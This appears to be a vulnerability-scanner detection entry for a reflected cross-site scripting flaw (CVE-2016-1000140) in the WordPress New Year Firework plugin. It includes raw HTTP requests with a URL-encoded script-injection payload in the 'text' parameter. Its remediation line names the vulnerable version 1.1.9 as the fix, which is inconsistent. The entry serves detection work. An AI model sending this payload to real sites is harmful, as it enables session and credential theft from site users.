| Title | WordPress New Year Firework <=1.1.9 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts on the victim's browser. |
| Remediation | Update to the latest version of the WordPress New Year Firework plugin (1.1.9) to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.06584 |
| CVE ID | CVE-2016-1000140 |
| CWE ID | CWE-79 |
| Tags | cve2016 cve wordpress xss wp-plugin new-year-firework_project vuln |
WordPress New Year Firework 1.1.9 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /wp-content/plugins/new-year-firework/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/new-year-firework/firework/index.php?text=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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